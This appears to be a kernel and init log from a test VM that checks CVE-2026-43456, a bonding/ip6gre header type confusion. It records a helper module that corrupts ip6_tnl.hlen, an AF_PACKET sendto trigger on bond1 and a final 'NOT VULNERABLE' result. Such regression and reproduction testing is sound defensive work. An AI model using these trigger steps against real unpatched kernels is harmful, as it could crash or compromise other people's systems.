CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [ 12.373374] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [ 12.445303] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [init] cmd: /sbin/ip -d link show bond1 2>&1 || true 9: bond1: mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000 link/gre6 fd00::1 brd :: promiscuity 0 allmulti 0 minmtu 68 maxmtu 65535 bond mode active-backup active_slave ip6gre1 miimon 0 updelay 0 downdelay 0 peer_notify_delay 0 use_carrier 1 arp_interval 0 arp_missed_max 2 arp_validate none arp_all_targets any primary_reselect always fail_over_mac active xmit_hash_policy layer2 resend_igmp 1 num_grat_arp 1 all_slaves_active 0 min_links 0 lp_interval 1 packets_per_slave 1 lacp_active on lacp_rate slow ad_select stable tlb_dynamic_lb 1 addrgenmode eui64 numtxqueues 16 numrxqueues 16 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 [init] cmd: /sbin/ip -d link show ip6gre1 2>&1 || true 8: ip6gre1@NONE: mtu 1500 qdisc noqueue master bond1 state UNKNOWN mode DEFAULT group default qlen 1000 link/gre6 fd00::1 brd :: permaddr 6e73:1098:d2a0:: promiscuity 0 allmulti 0 minmtu 0 maxmtu 0 ip6gre remote any local fd00::1 hoplimit 64 encaplimit 4 tclass 0x00 flowlabel 0x00000 bond_slave state ACTIVE mii_status UP link_failure_count 0 perm_hwaddr fd:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01 queue_id 0 prio 0 addrgenmode eui64 numtxqueues 1 numrxqueues 1 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 [init] STEP: load populate_hlen6 helper (writes 0x961a63cc into confused ip6_tnl.hlen of netdev_priv(bond1)) [init] cmd: /sbin/insmod /root/mods/populate_hlen6.ko 2>&1 || /sbin/modprobe populate_hlen6 2>&1 || true [ 12.786267] populate_hlen6: loading out-of-tree module taints kernel. [ 12.793524] CVE-2026-43456 VAR(ip6gre): bond1 priv=ffff888103b329c0 ip6_tnl.hlen offset=264 old=0x00000000(0) new=0x961a63cc(-1776655412) [init] STEP: fire AF_PACKET SOCK_DGRAM on bond1 -> dev_hard_header(bond1) -> ip6gre_header [init] TRIGGER: AF_PACKET SOCK_DGRAM sendto(bond1) -- vuln kernel should BUG/panic here (ip6gre_header type confusion) [init] AF_PACKET sendto(bond1) rc=-1 (Invalid argument) -- returned, so no crash on this kernel [ 13.398202] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [ 13.399494] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [init] STEP: dump recent kernel log [init] cmd: dmesg 2>/dev/null | tail -80 || true [ 7.827268] e1000e: Intel(R) PRO/1000 Network Driver [ 7.827441] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 7.828852] sky2: driver version 1.30 [ 7.846573] usbcore: registered new interface driver usblp [ 7.848295] usbcore: registered new interface driver usb-storage [ 7.852453] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 7.859316] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 7.860290] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 7.884117] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 7.900968] rtc_cmos 00:05: RTC can wake from S4 [ 7.926023] rtc_cmos 00:05: registered as rtc0 [ 7.929339] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 7.938950] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 7.939886] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 7.941325] hid: raw HID events driver (C) Jiri Kosina [ 7.963386] usbcore: registered new interface driver usbhid [ 7.963809] usbhid: USB HID core driver [ 7.987008] Initializing XFRM netlink socket [ 7.989852] NET: Registered PF_INET6 protocol family [ 8.015156] Segment Routing with IPv6 [ 8.016380] In-situ OAM (IOAM) with IPv6 [ 8.018706] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 8.032339] NET: Registered PF_PACKET protocol family [ 8.035180] 9pnet: Installing 9P2000 support [ 8.036330] Key type dns_resolver registered [ 8.057009] IPI shorthand broadcast: enabled [ 8.345226] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 8.637738] sched_clock: Marking stable (8578059848, 59577586)->(8653833810, -16196376) [ 8.650174] registered taskstats version 1 [ 8.650442] Loading compiled-in X.509 certificates [ 8.971180] Demotion targets for Node 0: null [ 8.979468] PM: Magic number: 2:802:71 [ 8.981206] netconsole: network logging started [ 8.986288] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 9.000048] kworker/u16:4 (73) used greatest stack depth: 29336 bytes left [ 9.019474] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 9.025847] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 9.027346] ALSA device list: [ 9.027543] No soundcards found. [ 9.033251] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 9.034343] cfg80211: failed to load regulatory.db [ 9.042119] md: Waiting for all devices to be available before autodetect [ 9.042449] md: If you don't use raid, use raid=noautodetect [ 9.042813] md: Autodetecting RAID arrays. [ 9.043105] md: autorun ... [ 9.043206] md: ... autorun DONE. [ 9.065263] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 9.111200] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 9.146413] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 9.147922] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 9.156325] devtmpfs: mounted [ 9.159788] VFS: Pivoted into new rootfs [ 9.257920] Freeing unused kernel image (initmem) memory: 5752K [ 9.258562] Write protecting the kernel read-only data: 45056k [ 9.271085] Freeing unused kernel image (text/rodata gap) memory: 1924K [ 9.277698] Freeing unused kernel image (rodata/data gap) memory: 1952K [ 9.774473] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 9.775436] Run /init as init process [ 9.775676] with arguments: [ 9.775721] /init [ 9.775745] nokaslr [ 9.775765] with environment: [ 9.775790] HOME=/ [ 9.775808] TERM=linux [ 10.132535] uname (81) used greatest stack depth: 26632 bytes left [ 10.144460] sh (79) used greatest stack depth: 25920 bytes left [ 10.586021] modprobe (85) used greatest stack depth: 24912 bytes left [ 10.965127] gre: GRE over IPv4 demultiplexer driver [ 10.991858] ip6_gre: GRE over IPv6 tunneling driver [ 11.992015] bond1: (slave ip6gre1): The slave device specified does not support setting the MAC address [ 11.992555] bond1: (slave ip6gre1): Setting fail_over_mac to active for active-backup mode [ 12.005471] bond1: (slave ip6gre1): making interface the new active one [ 12.008232] bond1: (slave ip6gre1): Enslaving as an active interface with an up link [ 12.200456] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [ 12.373374] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [ 12.445303] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [ 12.786267] populate_hlen6: loading out-of-tree module taints kernel. [ 12.793524] CVE-2026-43456 VAR(ip6gre): bond1 priv=ffff888103b329c0 ip6_tnl.hlen offset=264 old=0x00000000(0) new=0x961a63cc(-1776655412) [ 13.398202] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [ 13.399494] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [init] RESULT: NOT VULNERABLE (no kernel crash; fixed bond_header_ops used the slave ip6gre1 device) [ 14.100836] ip6_gre: CVE-2026-43456 ip6gre_header: dev=ip6gre1 hlen=4 needed=44 headroom=288 [ 14.971087] ACPI: PM: Preparing to enter system sleep state S5 [ 14.974452] reboot: Power down